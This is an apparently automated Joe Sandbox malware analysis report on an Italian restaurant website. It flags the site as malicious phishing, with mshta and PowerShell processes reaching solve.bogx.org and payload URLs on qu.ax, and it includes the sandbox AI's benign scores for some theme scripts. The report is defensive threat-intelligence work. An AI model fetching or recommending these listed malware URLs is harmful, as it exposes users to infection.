https://www.cipassoitalia.it/comments/feed/	0%	Avira URL Cloud	safe
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/postsli	0%	Avira URL Cloud	safe
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/notific	0%	Avira URL Cloud	safe
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/hr/hr.c	0%	Avira URL Cloud	safe
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/magazine/magazine.css?ver=6.0.9	0%	Avira URL Cloud	safe
https://www.cipassoitalia.it	0%	Avira URL Cloud	safe
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/toggles	0%	Avira URL Cloud	safe
https://www.cipassoitalia.it/wp-content/uploads/2019/05/cropped-Cipasso_Simbolo-270x270.png	0%	Avira URL Cloud	safe
https://www.cipassoitalia.it/wp-json/	0%	Avira URL Cloud	safe
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/slideshow_fullscreen/slideshow_fullscreen.js?ver=6.0.9	0%	Avira URL Cloud	safe
https://www.cipassoitalia.it/#/schema/logo/image/	0%	Avira URL Cloud	safe
https://www.cipassoitalia.it/wp-content/uploads/2019/05/cropped-Cipasso_Simbolo-192x192.png	0%	Avira URL Cloud	safe
https://www.cipassoitalia.it/wp-content/themes/enfold/css/base.css?ver=4.5	0%	Avira URL Cloud	safe
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/catalogue/catalogue.css?ver=6.0.9	0%	Avira URL Cloud	safe
https://solve.bogx.org/awjsx.captcha?u=097be2dd-7dc7-422c-9982-4234373a85ec2tG	100%	Avira URL Cloud	malware
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/testimonials/testimonials.css?ver=6.0.9	0%	Avira URL Cloud	safe
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/contact	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
mc.yandex.ru	87.250.251.119	true	false	high
a37dd8b3f3000a75e.awsglobalaccelerator.com	3.33.155.121	true	false	high
www.google.com	216.58.212.132	true	false	high
www.cipassoitalia.it	89.46.108.67	true	false	high
s.w.org	192.0.77.48	true	false	high
solve.bogx.org	104.21.48.1	true	true	unknown
cipassoitalia.it	89.46.108.67	true	false	unknown
qu.ax	188.245.212.29	true	false	high
use.fontawesome.com	unknown	unknown	false	high
data-seed-prebsc-1-s1.bnbchain.org	unknown	unknown	false	high
mc.yandex.com	unknown	unknown	false	high
_8545._https.data-seed-prebsc-1-s1.bnbchain.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/gallery_horizontal/gallery_horizontal.js?ver=6.0.9	false	Avira URL Cloud: safe	unknown
https://www.cipassoitalia.it/wp-content/uploads/2024/08/Schermata-2024-08-29-alle-09.26.09-1222x630.png	false	Avira URL Cloud: safe	unknown
https://www.cipassoitalia.it/wp-content/themes/enfold/css/custom.css?ver=4.5	false	Avira URL Cloud: safe	unknown
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/icongrid/icongrid.js?ver=6.0.9	false	Avira URL Cloud: safe	unknown
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/table/table.css?ver=6.0.9	false	Avira URL Cloud: safe	unknown
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/buttons_fullwidth/buttons_fullwidth.css?ver=6.0.9	false	Avira URL Cloud: safe	unknown
https://qu.ax/SpgOJ.mp4	false		high
https://www.cipassoitalia.it/wp-content/uploads/2019/06/sfondo_cerchi.png	false	Avira URL Cloud: safe	unknown
https://www.cipassoitalia.it/wp-content/uploads/2024/08/Dettaglio-della-sala-interna-1500x630.jpg	false	Avira URL Cloud: safe	unknown
https://www.cipassoitalia.it/wp-content/uploads/2024/08/Vini-italiani-eccellenti-1500x630.jpg	false	Avira URL Cloud: safe	unknown
https://www.cipassoitalia.it/wp-content/themes/enfold/config-wpml/wpml-mod.css?ver=4.5	false	Avira URL Cloud: safe	unknown
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/iconbox/iconbox.css?ver=6.0.9	false	Avira URL Cloud: safe	unknown
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/social_share/social_share.css?ver=6.0.9	false	Avira URL Cloud: safe	unknown
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/slideshow_accordion/slideshow_accordion.css?ver=6.0.9	false	Avira URL Cloud: safe	unknown
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/progressbar/progressbar.css?ver=6.0.9	false	Avira URL Cloud: safe	unknown
https://www.cipassoitalia.it/wp-content/themes/enfold/js/avia-snippet-sticky-header.js?ver=4.5	false	Avira URL Cloud: safe	unknown
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/slideshow_fullsize/slideshow_fullsize.css?ver=6.0.9	false	Avira URL Cloud: safe	unknown
https://mc.yandex.ru/metrika/tag.js	false		high
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/headline_rotator/headline_rotator.js?ver=6.0.9	false	Avira URL Cloud: safe	unknown
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/slideshow_layerslider/slideshow_layerslider.js?ver=6.0.9	false	Avira URL Cloud: safe	unknown
https://www.cipassoitalia.it/wp-content/uploads/2024/08/Schermata-2024-08-29-alle-09.25.05.png	false	Avira URL Cloud: safe	unknown
https://www.cipassoitalia.it/wp-content/uploads/2019/06/2.png	false	Avira URL Cloud: safe	unknown
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/countdown/countdown.js?ver=6.0.9	false	Avira URL Cloud: safe	unknown
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/video/video.css?ver=6.0.9	false	Avira URL Cloud: safe	unknown
https://www.cipassoitalia.it/wp-content/plugins/instagram-feed/css/sbi-styles.min.css?ver=6.6.1	false	Avira URL Cloud: safe	unknown
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/menu/menu.js?ver=6.0.9	false	Avira URL Cloud: safe	unknown
https://www.cipassoitalia.it/wp-content/uploads/2024/08/Schermata-2024-08-29-alle-09.25.53-1222x630.png	false	Avira URL Cloud: safe	unknown
https://www.cipassoitalia.it/wp-content/themes/enfold/js/aviapopup/magnific-popup.css?ver=4.5	false	Avira URL Cloud: safe	unknown
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/image_hotspots/image_hotspots.js?ver=6.0.9	false	Avira URL Cloud: safe	unknown
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/portfolio/portfolio.js?ver=6.0.9	false	Avira URL Cloud: safe	unknown
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/magazine/magazine.css?ver=6.0.9	false	Avira URL Cloud: safe	unknown
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/slideshow_fullscreen/slideshow_fullscreen.js?ver=6.0.9	false	Avira URL Cloud: safe	unknown
https://www.cipassoitalia.it/wp-content/themes/enfold/css/base.css?ver=4.5	false	Avira URL Cloud: safe	unknown
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/testimonials/testimonials.css?ver=6.0.9	false	Avira URL Cloud: safe	unknown
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/catalogue/catalogue.css?ver=6.0.9	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://blog.christoffer.me/six-things-i-learnt-about-ios-safaris-rubber-band-scrolling/	chromecache_318.1.dr, chromecache_323.1.dr	false	Avira URL Cloud: safe	unknown
https://www.cipassoitalia.it/xmlrpc.php	chromecache_362.1.dr	false	Avira URL Cloud: safe	unknown
http://aviathemes.com	chromecache_254.1.dr, chromecache_211.1.dr	false	Avira URL Cloud: safe	unknown
https://qu.ax/SpgOJ.mp4LMEM0	mshta.exe, 0000000F.00000002.2010685282.0000026538C31000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/iconlis	chromecache_362.1.dr	false	Avira URL Cloud: safe	unknown
https://www.cipassoitalia.it/?lang=en	chromecache_362.1.dr	false	Avira URL Cloud: safe	unknown
https://f.vimeocdn.com/js/froogaloop2.min.js	chromecache_171.1.dr, chromecache_284.1.dr	false		high
http://fontawesome.com/license	chromecache_341.1.dr	false		high
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/comment	chromecache_362.1.dr	false	Avira URL Cloud: safe	unknown
https://www.cipassoitalia.it/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fwww.cipassoitalia.it%2F	chromecache_362.1.dr	false	Avira URL Cloud: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000012.00000002.2013760231.000001613CDF4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2047084467.000001614B487000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2047084467.000001614B5C3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2414647541.0000000005FD2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://artsy.github.io/blog/2012/10/18/so-you-want-to-do-a-css3-3d-transform/	chromecache_206.1.dr	false	Avira URL Cloud: safe	unknown
https://www.cipassoitalia.it/vineria-e-bistrot-al-centro-di-roma-2/	chromecache_362.1.dr	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000012.00000002.2013760231.000001613B411000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2414647541.0000000004F71000.00000004.00000800.00020000.00000000.sdmp	false		high
https://solve.bogx.org/awjsx.captcha?u=097be2dd-7dc7-422c-9982	mshta.exe, 0000000F.00000003.1995337423.0000025D31D59000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.2004834667.0000025D31D56000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://webaim.org/techniques/css/invisiblecontent/#techniques	chromecache_247.1.dr	false		high
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/slidesh	chromecache_362.1.dr	false	Avira URL Cloud: safe	unknown
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/social_	chromecache_362.1.dr	false	Avira URL Cloud: safe	unknown
https://dmp.adform.net/serving/cookie/match?party=1123	chromecache_202.1.dr	false		high
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/icongri	chromecache_362.1.dr	false	Avira URL Cloud: safe	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000014.00000002.2414647541.000000000508A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.cipassoitalia.it/wp-content/plugins/cookie-law-info/legacy/public/css/cookie-law-info-pu	chromecache_362.1.dr	false	Avira URL Cloud: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000014.00000002.2414647541.000000000508A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2491652036.000000000765A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://solve.bogx.org/awjsx.captcha?u=097be2dd-7dc7-422c-9982-4234373a85ecA	mshta.exe, 0000000F.00000003.1995337423.0000025D31D6F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.1990648709.0000025D31D4E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.2004834667.0000025D31D6F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://github.com/Pester/Pesterhq%	powershell.exe, 00000012.00000002.2013760231.000001613CCA7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2013760231.000001613CC7C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 00000014.00000002.2414647541.0000000005FD2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/magazin	chromecache_362.1.dr	false	Avira URL Cloud: safe	unknown
https://github.com/imakewebthings/waypoints/blog/master/licenses.txt	chromecache_318.1.dr, chromecache_323.1.dr	false		high
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/numbers	chromecache_362.1.dr	false	Avira URL Cloud: safe	unknown
https://solve.bogx.org/Vai	mshta.exe, 0000000F.00000003.1995337423.0000025D31D9F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.2005879295.0000025D31D9F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.1990648709.0000025D31D89000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://schema.org	chromecache_362.1.dr	false		high
https://solve.bogx.org/awjsx.captcha?u=097be2dd-7dc7-422c-9982-4234373a85ecQ	mshta.exe, 0000000F.00000002.2004834667.0000025D31D4F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.1990648709.0000025D31D4E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://github.com/Pester/Pester	powershell.exe, 00000014.00000002.2414647541.000000000508A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2491652036.000000000765A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.cipassoitalia.it/wp-includes/wlwmanifest.xml	chromecache_362.1.dr	false	Avira URL Cloud: safe	unknown
http://gmpg.org/xfn/11	chromecache_362.1.dr	false		high
https://www.cipassoitalia.it/#website	chromecache_362.1.dr	false	Avira URL Cloud: safe	unknown
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/masonry	chromecache_362.1.dr	false	Avira URL Cloud: safe	unknown
https://schema.org/WPHeader	chromecache_362.1.dr	false		high
https://github.com/Pester/Pesterp	powershell.exe, 00000012.00000002.2013760231.000001613CC7C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://qu.ax/TORof.binP	powershell.exe, 00000014.00000002.2414647541.000000000508A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/content	chromecache_362.1.dr	false	Avira URL Cloud: safe	unknown
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/portfol	chromecache_362.1.dr	false	Avira URL Cloud: safe	unknown
http://kriesi.at	chromecache_254.1.dr, chromecache_211.1.dr	false		high
https://qu.ax/SpgOJ.mp4C:	mshta.exe, 0000000F.00000003.1978855698.0000025D31DC6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000002.2006043000.0000025D31DC6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/promobo	chromecache_362.1.dr	false	Avira URL Cloud: safe	unknown
https://www.cipassoitalia.it/wp-content/uploads/2024/08/Servizio-di-sala-845x684.jpg	chromecache_362.1.dr	false	Avira URL Cloud: safe	unknown
https://qu.ax/SpgOJ.mp4z_Uj	mshta.exe, 0000000F.00000002.2008104013.0000026534860000.00000004.00000020.00020000.00000000.sdmp	false		high
https://solve.bogx.org/awjsx.captcha?u=097be2dd-7dc7-422c-9982-4234373a85ec3	mshta.exe, 0000000F.00000002.2004834667.0000025D31D4F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.1990648709.0000025D31D4E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/postsli	chromecache_362.1.dr	false	Avira URL Cloud: safe	unknown
https://www.cipassoitalia.it/comments/feed/	chromecache_362.1.dr	false	Avira URL Cloud: safe	unknown
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/notific	chromecache_362.1.dr	false	Avira URL Cloud: safe	unknown
https://www.cipassoitalia.it	chromecache_362.1.dr	false	Avira URL Cloud: safe	unknown
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/hr/hr.c	chromecache_362.1.dr	false	Avira URL Cloud: safe	unknown
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/toggles	chromecache_362.1.dr	false	Avira URL Cloud: safe	unknown
https://www.cipassoitalia.it/wp-content/uploads/2019/05/cropped-Cipasso_Simbolo-270x270.png	chromecache_362.1.dr	false	Avira URL Cloud: safe	unknown
https://qu.ax/~	mshta.exe, 0000000F.00000002.2008104013.0000026534860000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.cipassoitalia.it/wp-json/	chromecache_362.1.dr	false	Avira URL Cloud: safe	unknown
https://www.cipassoitalia.it/#/schema/logo/image/	chromecache_362.1.dr	false	Avira URL Cloud: safe	unknown
https://www.cipassoitalia.it/wp-content/uploads/2019/05/cropped-Cipasso_Simbolo-192x192.png	chromecache_362.1.dr	false	Avira URL Cloud: safe	unknown
http://papermashup.com/demos/css-buttons)	chromecache_192.1.dr	false		high
https://solve.bogx.org/awjsx.captcha?u=097be2dd-7dc7-422c-9982-4234373a85ec2tG	mshta.exe, 0000000F.00000002.2004834667.0000025D31D8A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.1990648709.0000025D31D89000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000F.00000003.1995337423.0000025D31D8A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://yoast.com/wordpress/plugins/seo/	chromecache_362.1.dr	false		high
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/contact	chromecache_362.1.dr	false	Avira URL Cloud: safe	unknown
https://aka.ms/pscore6	powershell.exe, 00000014.00000002.2414647541.0000000004F71000.00000004.00000800.00020000.00000000.sdmp	false		high
http://cipa.jp/exif/1.0/	chromecache_224.1.dr, chromecache_231.1.dr, chromecache_255.1.dr, chromecache_338.1.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.21.48.1	solve.bogx.org	United States	13335	CLOUDFLARENETUS	true
142.250.185.68	unknown	United States	15169	GOOGLEUS	false
216.58.212.132	www.google.com	United States	15169	GOOGLEUS	false
87.250.250.119	unknown	Russian Federation	13238	YANDEXRU	false
192.0.77.48	s.w.org	United States	2635	AUTOMATTICUS	false
89.46.108.67	www.cipassoitalia.it	Italy	31034	ARUBA-ASNIT	false
188.245.212.29	qu.ax	Iran (ISLAMIC Republic Of)	16322	PARSONLINETehran-IRANIR	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
93.158.134.119	unknown	Russian Federation	13238	YANDEXRU	false
3.33.155.121	a37dd8b3f3000a75e.awsglobalaccelerator.com	United States	8987	AMAZONEXPANSIONGB	false
142.250.186.164	unknown	United States	15169	GOOGLEUS	false
77.88.21.119	unknown	Russian Federation	13238	YANDEXRU	false
87.250.251.119	mc.yandex.ru	Russian Federation	13238	YANDEXRU	false

Private

IP
192.168.2.16

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1586662
Start date and time:	2025-01-09 13:18:35 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 39s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Sample URL:	http://cipassoitalia.it
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	22
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled AMSI enabled
Analysis Mode:	default
Detection:	MAL
Classification:	mal100.phis.evad.win@29/362@36/14

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, SIHClient.exe, SgrmBroker.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.181.227, 216.58.212.142, 64.233.167.84, 142.250.186.142, 142.250.185.206, 142.250.185.138, 142.250.186.67, 142.250.181.238, 104.21.27.152, 172.67.142.245, 142.250.186.78, 142.250.184.206, 142.250.186.46, 142.250.185.195, 172.217.18.110, 142.250.185.174, 142.250.185.110, 23.56.254.164, 4.245.163.56, 204.79.197.200, 23.1.33.206, 51.104.15.253, 204.79.197.222, 150.171.84.254, 13.107.253.45, 150.171.69.254, 204.79.197.254
Excluded domains from analysis (whitelisted): clients1.google.com, www.bing.com, fp.msedge.net, p-ring.msedge.net, fonts.googleapis.com, fs.microsoft.com, mcr-ring.msedge.net, accounts.google.com, slscr.update.microsoft.com, fonts.gstatic.com, clientservices.googleapis.com, use.fontawesome.com.cdn.cloudflare.net, t-ring.msedge.net, fe3cr.delivery.mp.microsoft.com, clients2.google.com, edgedl.me.gvt1.com, redirector.gvt1.com, r.bing.com, update.googleapis.com, a-ring.msedge.net, clients.l.google.com, teams-ring.msedge.net, browser.pipe.aria.microsoft.com
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: http://cipassoitalia.it

Simulations

Behavior and APIs

Time	Type	Description
07:20:28	API Interceptor	54x Sleep call for process: powershell.exe modified

LLM Input / Output

Input	Output
URL: http://cipassoitalia.it Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": false, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: http://cipassoitalia.it
URL: https://www.cipassoitalia.it/... Model: Joe Sandbox AI	{ "risk_score": 1, "reasoning": "The provided JavaScript snippet appears to be a benign script that checks if a specific cookie is present, and if not, it dynamically loads a Google Fonts stylesheet. This behavior is common for websites that use Google Fonts and is considered a low-risk practice." }
if(!document.cookie.match(/aviaPrivacyGoogleWebfontsDisabled/)){ (function() { var f = document.createElement('link'); f.type = 'text/css'; f.rel = 'stylesheet'; f.href = '//fonts.googleapis.com/css?family=Terminal+Dosis'; f.id = 'avia-google-webfont'; document.getElementsByTagName('head')[0].appendChild(f); })(); }
URL: https://www.cipassoitalia.it/wp-content/themes/enf... Model: Joe Sandbox AI	{ "risk_score": 3, "reasoning": "The provided JavaScript code appears to be a legitimate script that handles mobile device detection and CSS3 transform properties. It does not exhibit any high-risk behaviors, such as dynamic code execution, data exfiltration, or suspicious redirects. The script is primarily focused on improving the user experience by applying appropriate CSS classes and handling parallax effects. While it uses some legacy APIs like `XDomainRequest`, the overall intent and functionality of the script are benign." }
/* this prevents dom flickering for elements hidden with js, needs to be outside of dom.ready event.also adds several extra classes for better browser support this is a separate file that needs to be loaded at the top of the page. other js functions are loaded before the closing body tag to make the site render faster / "use strict" var avia_is_mobile = false; if( /Android\|webOS\|iPhone\|iPad\|iPod\|BlackBerry\|IEMobile\|Opera Mini/i.test(navigator.userAgent) && 'ontouchstart' in document.documentElement) { avia_is_mobile = true; document.documentElement.className += ' avia_mobile '; } else { document.documentElement.className += ' avia_desktop '; } document.documentElement.className += ' js_active '; (function(){ //set transform property var prefix = ['-webkit-','-moz-', '-ms-', ""], transform = ""; for (var i in prefix) { // http://artsy.github.io/blog/2012/10/18/so-you-want-to-do-a-css3-3d-transform/ if(prefix[i]+'transform' in document.documentElement.style) { document.documentElement.className += " avia_transform "; transform = prefix[i]+'transform'} if(prefix[i]+'perspective' in document.documentElement.style) document.documentElement.className += " avia_transform3d "; } //set parallax position to prevent jump at pageload if(typeof document.getElementsByClassName == 'function' && typeof document.documentElement.getBoundingClientRect == "function" && avia_is_mobile == false) { if(transform && window.innerHeight > 0) { setTimeout(function(){ var y = 0, offsets = {}, transY = 0, parallax = document.getElementsByClassName("av-parallax"), winTop = window.pageYOffset \|\| document.documentElement.scrollTop; for (y = 0; y < parallax.length; y++) { parallax[y].style.top = "0px"; offsets = parallax[y].getBoundingClientRect(); transY = Math.ceil( (window.innerHeight + winTop - offsets.top) 0.3 ); parallax[y].style[transform] = "translate(0px, "+transY+"px)"; parallax[y].style.top = "auto"; parallax[y].className += ' enabled-parallax '; } }, 50); } } })();
URL: https://www.cipassoitalia.it/wp-content/themes/enf... Model: Joe Sandbox AI	{ "risk_score": 3, "reasoning": "The provided JavaScript code appears to be a plugin for an audio player, with some basic functionality like autoplay and loop control. While it uses some legacy practices like `setTimeout` and event handling, the overall behavior is benign and focused on providing a better user experience for audio playback. There are no indicators of high-risk activities like data exfiltration or malicious redirects. The code can be considered low-risk with some minor areas for improvement." }
// ------------------------------------------------------------------------------------------- // // AVIA Player // // ------------------------------------------------------------------------------------------- (function($) { "use strict"; var autostarted = false, container = null, monitorStart = function( container ) { var play_pause = container.find('.av-player-player-container .mejs-playpause-button'); if( play_pause.length == 0 ) { setTimeout( function(){ monitorStart( container ); }, 200 ); } if( ! play_pause.hasClass('mejs-pause') ) { play_pause.trigger( 'click' ); } }; $.fn.aviaPlayer = function( options ) { if( ! this.length ) return; return this.each(function() { var _self = {}; _self.container = $( this ); _self.stopLoop = false; _self.container.find('audio').on('play', function() { if( _self.stopLoop ) { this.pause(); _self.stopLoop = false; } }); if( _self.container.hasClass( 'avia-playlist-no-loop' ) ) { _self.container.find('audio').on('ended', function() { // find the last track in the playlist so that when the last track ends we can pause the audio object var lastTrack = _self.container.find('.wp-playlist-tracks .wp-playlist-item:last a'); if ( this.currentSrc === lastTrack.attr('href') ) { _self.stopLoop = true; } }); } /** * Limit autostart to the first player with this option set only * * DOM is not loaded completely and we have no event when player is loaded. * We check for play button and perform a click */ if( _self.container.hasClass( 'avia-playlist-autoplay' ) && ! autostarted ) { if( ( _self.container.css('display') == 'none') \|\| ( _self.container.css("visibility") == "hidden" ) ) { return; } autostarted = true; setTimeout( function(){ monitorStart( _self.container, _self ); }, 200 ); } }); }; }(jQuery));
URL: https://www.cipassoitalia.it/wp-content/themes/enf... Model: Joe Sandbox AI	{ "risk_score": 1, "reasoning": "The provided JavaScript snippet appears to be a legitimate code snippet that removes duplicate language switcher flags from a burger menu. It does not exhibit any high-risk behaviors, such as dynamic code execution, data exfiltration, or redirects to malicious domains. The code is well-structured and uses standard jQuery library functions to manipulate the DOM, which is a common practice. Overall, this script seems to be a benign, maintenance-related code snippet with no apparent malicious intent." }
(function($) { "use strict"; $(document).ready(function() { /** * Remove Themes duplicated language switcher flags from Burger menu * - exist in secondary menu * - exist beside search icon */ $('body').on( 'avia_burger_list_created', '.av-burger-menu-main a', function(){ var s = $(this); // allow DOM to build setTimeout(function(){ var switchers = s.closest('.avia-menu.av-main-nav-wrap').find('.av-burger-overlay').find('.language_flag'); switchers.each( function(){ $(this).closest('li').remove(); }); }, 200); }); }); })( jQuery );
URL: https://www.cipassoitalia.it/... Model: Joe Sandbox AI	{ "risk_score": 2, "reasoning": "This script appears to be a WordPress-related script that handles emoji rendering and loading. It does not exhibit any high-risk behaviors, such as dynamic code execution, data exfiltration, or suspicious redirects. The script is primarily responsible for loading and rendering emojis on the website, which is a common and legitimate functionality. While it uses some legacy APIs like `XDomainRequest`, these pose minor risks and are not inherently malicious. Overall, this script is likely benign and part of standard WordPress functionality." }
